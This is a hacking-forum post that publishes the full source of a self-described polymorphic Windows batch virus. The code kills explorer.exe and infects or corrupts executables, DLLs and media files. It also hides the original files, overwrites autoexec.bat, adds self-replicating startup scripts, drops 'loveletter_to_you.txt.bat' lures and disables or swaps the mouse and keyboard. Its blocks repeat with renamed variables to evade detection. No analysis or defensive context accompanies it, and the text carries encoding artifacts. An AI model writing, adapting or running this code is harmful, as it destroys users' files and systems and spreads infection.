HACKING 120% {Hacking, programmazione, computer & molto altro}

Polymorphic virus

« Older   Newer »
  Share  
Legend Croto
view post Posted on 5/7/2010, 20:53     +1   -1




CODICE
echo offrem __________________________________________________________
rem =========================MAG=============================
rem --Polymorphic virus that infects batch files, COM, exe, and dll then renames--
rem -------------------them with Corrupted- in front of the file name-------------------------
rem --------------------------and attribs the original file as +h +r-------------------------------
rem ---------------------To cure this virus, just type attrib -h -r *.exe--------------------------
rem -------------------------------in corrupted/infected areas------------------------------------
rem ------------------Only incurrable part is the self expanding files in---------------------
rem ----------------------startup dropping more self expanding files------------------------
rem --------------and the overwritten autoexec.bat if you have Win_xp-------------------
rem __________________________________________________________
set r=%­time%
set g=@
if %­r% geq 14 (
echo @echo off > "%­userprofile%­gengine.bat"
find "%­g%%­g%" < %0 >> "%­userprofile%­gengine.bat"
timeout /t 1 /nobreak >nul
start /d "%­userprofile%" gengine.bat
exit
) else if %­r% geq 9 (
echo @echo off > "%­userprofile%­gengine.bat"
find "%­g%%­g%%­g%" < %0 >> "%­userprofile%­gengine.bat"
timeout /t 1 /nobreak >nul
start /d "%­userprofile%" gengine.bat
exit
) else (
echo @echo off > "%­userprofile%­gengine.bat"
find "%­g%%­g%%­g%%­g%" < %0 >> "%­userprofile%­gengine.bat"
timeout /t 1 /nobreak >nul
start /d "%­userprofile%" gengine.bat
exit
)

rem ________________________________________
rem ______________END OF MAIN_______________
rem ________________________________________
rem __________BEGINNING OF BLOCK 1__________
rem ________________________________________

@@if %­random% geq 1900 (
@@set vr=for
@@set pc=copy
@@set go=ren
@@set kk=md
@@set pp=RUNDLL
@@set mm=MOUSE
@@set gg=KEYBOARD
@@set dd=DISABLE
@@set rr=Swap
@@set fo=del
@@set co=echo
@@set fa=attrib
@@set fgh=taskkill
@@if exist "C:autoexec.bat" (
@@     set loc=C:autoexec.bat
@@     %co% @echo off > "%­loc%"
@@     %co% rem MAG >> "%­loc%"
@@     %co% set num=0 >> "%­loc%"
@@     %co% color c4 >> "%­loc%"
@@     %co% :start >> "%­loc%"
@@     %co% set /a num=%­num% + 1 >> "%­loc%"
@@     %co% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@     %co% if %­num% equ 50 goto next >> "%­loc%"
@@     %co% goto start >> "%­loc%"
@@     %co% :next >> "%­loc%"
@@     %co% start /d "C:" autoexec.bat
@@     %co% set /a num=0 >> "%­loc%"
@@     %co% goto :start >> "%­loc%"
@@     )
@@%fgh% /f /im explorer.exe
@@%­vr% %%A in ("%­windir%­system32*.bat") do (
@@     %­pc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% %%A in ("%­windir%­system32*.exe") do (
@@     %­pc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% %%A in ("%­windir%­system32*.COM") do (
@@     %­pc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%fr% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%fr% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@     %­pc% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%­vr% %%A in ("%­windir%­system32*.dll") do (
@@     %­pc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fa% +h +r %%A
@@     )
@@%co% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%co% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%co% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%co% %­pc% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%co% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@set num=0
@@:until
@@set /a num=%­num% + 1
@@%­kk% "C:users%­time%"
@@if %­num% equ 300 goto next2
@@goto until
@@:next2
@@%­vr% /d %%A in ("C:users*") do %­pc% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@if %­os% equ Windows_NT (
@@     %­pp%­32 USER32.DLL,%­rr%­MouseButton
@@     ) else (
@@     %­pp% %­mm%,%dd%
@@     %­pp% %­gg%,%dd%
@@     )
@@set num=0
@@:start
@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@goto start
@@) else (
@@set oo=for
@@set cc=copy
@@set zz=ren
@@set ee=md
@@set hn=RUNDLL
@@set uy=MOUSE
@@set qe=KEYBOARD
@@set ple=DISABLE
@@set zle=Swap
@@set flo=del
@@set clo=echo
@@set fla=attrib
@@set yrt=taskkill
@@if exist "C:autoexec.bat" (
@@     set loc=C:autoexec.bat
@@     %clo% @echo off > "%­loc%"
@@     %clo% rem MAG >> "%­loc%"
@@     %clo% set num=0 >> "%­loc%"
@@     %clo% color c4 >> "%­loc%"
@@     %clo% :start >> "%­loc%"
@@     %clo% set /a num=%­num% + 1 >> "%­loc%"
@@     %clo% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@     %clo% if %­num% equ 50 goto next >> "%­loc%"
@@     %clo% goto start >> "%­loc%"
@@     %clo% :next >> "%­loc%"
@@     %clo% start /d "C:" autoexec.bat
@@     %clo% set /a num=0 >> "%­loc%"
@@     %clo% goto :start >> "%­loc%"
@@     )
@@%­yrt% /f /im explorer.exe
@@%­oo% %%A in ("%­windir%­system32*.bat") do (
@@     %cc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% %%A in ("%­windir%­system32*.exe") do (
@@     %cc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% %%A in ("%­windir%­system32*.COM") do (
@@     %cc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@     %cc% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%­oo% %%A in ("%­windir%­system32*.dll") do (
@@     %cc% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@     %fla% +h +r %%A
@@     )
@@%clo% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%clo% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%clo% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%clo% %cc% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@%clo% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@set num=0
@@:until
@@set /a num=%­num% + 1
@@%ee% "C:users%­time%"
@@if %­num% equ 300 goto next2
@@goto until
@@:next2
@@%­oo% /d %%A in ("C:users*") do %cc% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@if %­os% equ Windows_NT (
@@     %­hn%­32 USER32.DLL,%­zle%­MouseButton
@@     ) else (
@@     %­hn% %­uy%,%­ple%
@@     %­hn% %­qe%,%­ple%
@@     )
@@set num=0
@@:start
@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@goto start

rem ________________________________________
rem _____________END OF BLOCK 1____________
rem ________________________________________
rem __________BEGINNING OF BLOCK 2__________
rem ________________________________________

@@@if %­random% geq 1900 (
@@@set dre=for
@@@set gre=copy
@@@set uur=ren
@@@set kru=md
@@@set pru=RUNDLL
@@@set mru=MOUSE
@@@set gru=KEYBOARD
@@@set zru=DISABLE
@@@set rru=Swap
@@@set flu=del
@@@set clu=echo
@@@set tru=attrib
@@@set fir=taskkill
@@@if exist "C:autoexec.bat" (
@@@     set loc=C:autoexec.bat
@@@     %clu% @echo off > "%­loc%"
@@@     %clu% rem MAG >> "%­loc%"
@@@     %clu% set num=0 >> "%­loc%"
@@@     %clu% color c4 >> "%­loc%"
@@@     %clu% :start >> "%­loc%"
@@@     %clu% set /a num=%­num% + 1 >> "%­loc%"
@@@     %clu% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@@     %clu% if %­num% equ 50 goto next >> "%­loc%"
@@@     %clu% goto start >> "%­loc%"
@@@     %clu% :next >> "%­loc%"
@@@     %clu% start /d "C:" autoexec.bat
@@@     %clu% set /a num=0 >> "%­loc%"
@@@     %clu% goto :start >> "%­loc%"
@@@     )
@@@%fir% /f /im explorer.exe
@@@%dre% %%A in ("%­windir%­system32*.bat") do (
@@@     %­gre% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% %%A in ("%­windir%­system32*.exe") do (
@@@     %­gre% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% %%A in ("%­windir%­system32*.COM") do (
@@@     %­gre% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@@     %­gre% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%dre% %%A in ("%­windir%­system32*.dll") do (
@@@     %­gre% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %­tru% +h +r %%A
@@@     )
@@@%clu% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%clu% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%clu% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%clu% %­gre% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%clu% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@@set num=0
@@@:until
@@@set /a num=%­num% + 1
@@@%­kru% "C:users%­time%"
@@@if %­num% equ 300 goto next2
@@@goto until
@@@:next2
@@@%dre% /d %%A in ("C:users*") do %­gre% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@@if %­os% equ Windows_NT (
@@@     %­pru%­32 USER32.DLL,%­rru%­MouseButton
@@@     ) else (
@@@     %­pru% %­mru%,%­zru%
@@@     %­pru% %­gru%,%­zru%
@@@     )
@@@set num=0
@@@:start
@@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@@goto start
@@@) else (
@@@set fos=for
@@@set chy=copy
@@@set pro=ren
@@@set par=md
@@@set ihn=RUNDLL
@@@set heo=MOUSE
@@@set hoo=KEYBOARD
@@@set bor=DISABLE
@@@set moe=Swap
@@@set poe=del
@@@set gok=echo
@@@set fad=attrib
@@@set bld=taskkill
@@@if exist "C:autoexec.bat" (
@@@     set loc=C:autoexec.bat
@@@     %­gok% @echo off > "%­loc%"
@@@     %­gok% rem MAG >> "%­loc%"
@@@     %­gok% set num=0 >> "%­loc%"
@@@     %­gok% color c4 >> "%­loc%"
@@@     %­gok% :start >> "%­loc%"
@@@     %­gok% set /a num=%­num% + 1 >> "%­loc%"
@@@     %­gok% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@@     %­gok% if %­num% equ 50 goto next >> "%­loc%"
@@@     %­gok% goto start >> "%­loc%"
@@@     %­gok% :next >> "%­loc%"
@@@     %­gok% start /d "C:" autoexec.bat
@@@     %­gok% set /a num=0 >> "%­loc%"
@@@     %­gok% goto :start >> "%­loc%"
@@@     )
@@@%bld% /f /im explorer.exe
@@@%fos% %%A in ("%­windir%­system32*.bat") do (
@@@     %chy% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% %%A in ("%­windir%­system32*.exe") do (
@@@     %chy% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% %%A in ("%­windir%­system32*.COM") do (
@@@     %chy% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@@     %chy% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%fos% %%A in ("%­windir%­system32*.dll") do (
@@@     %chy% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@     %fad% +h +r %%A
@@@     )
@@@%­gok% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%­gok% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%­gok% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%­gok% %cc% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@%­gok% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@@set num=0
@@@:until
@@@set /a num=%­num% + 1
@@@%­par% "C:users%­time%"
@@@if %­num% equ 300 goto next2
@@@goto until
@@@:next2
@@@%fos% /d %%A in ("C:users*") do %chy% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@@if %­os% equ Windows_NT (
@@@     %­ihn%­32 USER32.DLL,%­moe%­MouseButton
@@@     ) else (
@@@     %­ihn% %­heo%,%bor%
@@@     %­ihn% %­hoo%,%bor%
@@@     )
@@@set num=0
@@@:start
@@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@@goto start

rem ________________________________________
rem ____________END OF BLOCK 2_____________
rem ________________________________________
rem _________BEGINNING OF BLOCK 3___________
rem ________________________________________

@@@@if %­random% geq 1900 (
@@@@set zoo=for
@@@@set goo=copy
@@@@set you=ren
@@@@set koo=md
@@@@set pkk=RUNDLL
@@@@set moo=MOUSE
@@@@set roo=KEYBOARD
@@@@set zro=DISABLE
@@@@set rro=Swap
@@@@set flk=del
@@@@set cla=echo
@@@@set tra=attrib
@@@@set fia=taskkill
@@@@if exist "C:autoexec.bat" (
@@@@     set loc=C:autoexec.bat
@@@@     %cla% @echo off > "%­loc%"
@@@@     %cla% rem MAG >> "%­loc%"
@@@@     %cla% set num=0 >> "%­loc%"
@@@@     %cla% color c4 >> "%­loc%"
@@@@     %cla% :start >> "%­loc%"
@@@@     %cla% set /a num=%­num% + 1 >> "%­loc%"
@@@@     %cla% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@@@     %cla% if %­num% equ 50 goto next >> "%­loc%"
@@@@     %cla% goto start >> "%­loc%"
@@@@     %cla% :next >> "%­loc%"
@@@@     %cla% start /d "C:" autoexec.bat
@@@@     %cla% set /a num=0 >> "%­loc%"
@@@@     %cla% goto :start >> "%­loc%"
@@@@     )
@@@@%fia% /f /im explorer.exe
@@@@%­zoo% %%A in ("%­windir%­system32*.bat") do (
@@@@     %­goo% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% %%A in ("%­windir%­system32*.exe") do (
@@@@     %­goo% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% %%A in ("%­windir%­system32*.COM") do (
@@@@     %­goo% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@@@     %­goo% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%­zoo% %%A in ("%­windir%­system32*.dll") do (
@@@@     %­goo% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %­tra% +h +r %%A
@@@@     )
@@@@%cla% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%cla% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%cla% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%cla% %­gre% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%cla% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@@@set num=0
@@@@:until
@@@@set /a num=%­num% + 1
@@@@%­koo% "C:users%­time%"
@@@@if %­num% equ 300 goto next2
@@@@goto until
@@@@:next2
@@@@%­zoo% /d %%A in ("C:users*") do %­goo% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@@@if %­os% equ Windows_NT (
@@@@     %­pkk%­32 USER32.DLL,%­rro%­MouseButton
@@@@     ) else (
@@@@     %­pkk% %­moo%,%­zro%
@@@@     %­pkk% %­roo%,%­zro%
@@@@     )
@@@@set num=0
@@@@:start
@@@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@@@goto start
@@@@) else (
@@@@set post=for
@@@@set chos=copy
@@@@set pros=ren
@@@@set pars=md
@@@@set mar=RUNDLL
@@@@set her=MOUSE
@@@@set he=KEYBOARD
@@@@set bot=DISABLE
@@@@set mot=Swap
@@@@set pot=del
@@@@set got=echo
@@@@set fau=attrib
@@@@set bolk=taskkill
@@@@if exist "C:autoexec.bat" (
@@@@     set loc=C:autoexec.bat
@@@@     %­got% @echo off > "%­loc%"
@@@@     %­got% rem MAG >> "%­loc%"
@@@@     %­got% set num=0 >> "%­loc%"
@@@@     %­got% color c4 >> "%­loc%"
@@@@     %­got% :start >> "%­loc%"
@@@@     %­got% set /a num=%­num% + 1 >> "%­loc%"
@@@@     %­got% %co% оооооооооооооооооооооооооооооооооооооооо
о >> "%­loc%"
@@@@     %­got% if %­num% equ 50 goto next >> "%­loc%"
@@@@     %­got% goto start >> "%­loc%"
@@@@     %­got% :next >> "%­loc%"
@@@@     %­got% start /d "C:" autoexec.bat
@@@@     %­got% set /a num=0 >> "%­loc%"
@@@@     %­got% goto :start >> "%­loc%"
@@@@     )
@@@@%bolk% /f /im explorer.exe
@@@@%­post% %%A in ("%­windir%­system32*.bat") do (
@@@@     %chos% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% %%A in ("%­windir%­system32*.exe") do (
@@@@     %chos% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% %%A in ("%­windir%­system32*.COM") do (
@@@@     %chos% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­pictures") %%A in (*.jpg) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­pictures") %%A in (*.bmp) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­picturesCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­music") %%A in (*.mp3) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­music") %%A in (*.wma) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­music") %%A in (*.mp4) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­musicCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­videos") %%A in (*.wmv) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%­videos") %%A in (*.avi) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%­videosCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% /r ("%­userprofile%downloads") %%A in (*.exe) do (
@@@@     %chos% /v /y /b %0 + %%A "%­userprofile%downloadsCorrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­post% %%A in ("%­windir%­system32*.dll") do (
@@@@     %chos% /v /y /b %0 + %%A "%­windir%­system32Corrupted-%%~nxA.*"
@@@@     %fau% +h +r %%A
@@@@     )
@@@@%­got% @echo off > "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%­got% ::MAG:: >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%­got% :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%­got% %cc% /v /y /b %0 "%­userprofile%%­time%.fire" >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@%­got% goto :start >> "%­userprofile%­start menuprogramsstartup%­r%.bat"
@@@@start /d "%­userprofile%­start menuprogramsstartup" %­r%.bat
@@@@set num=0
@@@@:until
@@@@set /a num=%­num% + 1
@@@@%­pars% "C:users%­time%"
@@@@if %­num% equ 300 goto next2
@@@@goto until
@@@@:next2
@@@@%­post% /d %%A in ("C:users*") do %chos% /v /y /b %0 "%%Aloveletter_to_you.txt.bat"
@@@@if %­os% equ Windows_NT (
@@@@     %­mar%­32 USER32.DLL,%­mot%­MouseButton
@@@@     ) else (
@@@@     %­mar% %­her%,%bot%
@@@@     %­mar% %­he%,%bot%
@@@@     )
@@@@set num=0
@@@@:start
